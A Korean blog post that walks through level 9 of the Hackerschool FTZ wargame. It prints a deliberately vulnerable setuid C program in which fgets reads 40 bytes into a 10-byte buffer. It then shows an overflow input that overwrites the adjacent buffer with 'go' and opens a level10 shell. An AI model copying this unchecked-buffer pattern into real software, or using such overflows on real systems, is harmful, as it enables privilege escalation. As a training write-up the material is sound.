사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.
level9 의 시작.
구동 환경 : Windows 7
서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ
사용 플램 : putty (퓨티)
login as : level9
password :
level8에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.
그리고 여태까지 늘 힌트를 찾았던 ls -al 명령어를 실행
[level9@ftz level9]$ ls -al
total 80
drwxr-xr-x 4 root level9 4096 Nov 13 2002 .
drwxr-xr-x 34 root root 4096 Sep 30 02:00 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 391 Nov 13 2002 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level9 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level9 4096 Sep 30 09:33 tmp
-rw------- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
힌트는 위와 같이 나왔다.
이제 9 Level 부터는 BOF(Buffer Overflow) 문제가 출제된다.
지금 적고 있는 유 피디도 BOF 에 대해서 많이 어려워 하는중이다..
level9 는 일단 풀기 쉬웠다.
.c 파일을 일단 주석처리로 이해를 도운 다음 설명하겠다.
다음은 /usr/bin/bof의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
char buf2[10]; // char형 변수 buf2 라는 이름에 10바이트의 크기 배열 선언
char buf[10]; // char형 변수 buf 라는 이름에 10바이트 크기 배열 선언
printf("It can be overflow : "); // it can be Overflow : 라는 문구를 출력
fgets(buf,40,stdin); // fget([char *str],[int size],[FILE *Stream]) 형식으로
// 40이하의 바이트를 입력 받아서, buf 변수에 집어넣는다.
if ( strncmp(buf2, "go", 2) == 0 ) // strncmp([char *str],[char *str2],[byte])
{ // buf2 의 2바이트와 go 와 비교 한 뒤 같다면
printf("Good Skill!\n"); // Good Skill 문구를 출력
setreuid( 3010, 3010 ); // 현재 사용자에게 Level10의 권한을 지급
system("/bin/bash"); // /bin/bash 로 쉘 해준다.
}
}
이를 이용하여 level10의 권한을 얻어라.
그렇다면 이제, cd 명령어로 /usr/bin 으로 이동하여 bof 를 실행해보자.
[level9@ftz level9]$ cd /usr/bin
[level9@ftz bin]$ ./bof
It can be overflow : 213213
[level9@ftz bin]$
실행해보니, it can be overflow 문구가 출력이 되었고, 아무거나 입력해도 안된다.
그렇다면 머리속에 칸을 그려놓고 생각해보자.
buf /
buf2 /
buf 에 10개의 숫자를 입력시켜주었다.
0 1 2 3 4 5 6 7 8 9 의 10개를 1개의 방마다 집어넣어주었고, buf 가 꽉차면 다음 buf2 로 들어간다.
buf2에 또다시 0 1 2 3 4 5 6 7 8 9 를 넣어주면, 20개의 방이 꽉차게 된다.
그러나 아까 소스코드상에서 if문에 대해서 주석처리한 부분을 읽어서 이해보면,
buf2의 2바이트에 "go" 라는 문자가 존재하면 if문을 실행시켜주는 것이였다.
그렇다면 buf 에 아래와 같이 넣어주자.
[level9@ftz bin]$ ./bof
It can be overflow : 01234567890123456789
[level9@ftz bin]$ ./bof
It can be overflow : 0123456789012345go
첫번째 01234567890123456789 를 입력시켰을 때는, if문이 실행이 되지 않았다.
그러나,
두번째 0123456789012345go 를 입력시키자,
[level9@ftz bin]$ ./bof
It can be overflow : 0123456789012345go
Good Skill!
[level10@ftz bin]$
if 문 작동 소스코드를 보면 Good Skill! 를 출력시키고, 레벨10의 권한으로 /bin/bash 폴더까지 이동했다.
그러면 이제 my-pass 로 다음 단계의 비밀번호를 얻자.
[level10@ftz bin]$ my-pass
Level10 Password is ~~~~~~~
성공,
그러나 원래는 이 BOF 문제는 gdb 명령어로 이용하여 스텍관련 구조를 보면서 문제를 풀어야하는 것인데,
다른 사람들이 적은 내용을 검색해보았더니 대부분 그렇게 하였다.
그런데, 어째서인지 /bof 파일 권한을 root 권한으로 봐보니
[root@ftz bin]# ls -l bof
-rws--x--- 1 level10 level9 12111 Sep 30 02:00 bof
레벨 10은 rws 권한을 지니고있는데, 레벨 9는 무조건 x 실행만 가능하다.
그렇다면 gdb 도 못하는 상황이여서, 잉여같이 문제를 풀었다.
root권한으로 파일의 권한을 바꿔주거나, 그런다면 gdb로 문제를 해결하면 BOF 해결 능력도 상승할 것 같다.
'정보보안 카테고리 > hackschool FTZ' 카테고리의 다른 글
hackerschool FTZ : level11 풀이 (0) | 2013.10.20 |
---|---|
hackerschool FTZ : level10 풀이 (1) | 2013.10.03 |
hackerschool FTZ : level8 풀이 (0) | 2013.10.02 |
hackerschool FTZ : level7 풀이 (0) | 2013.10.02 |
hackerschool FTZ : level6 풀이 (0) | 2013.10.01 |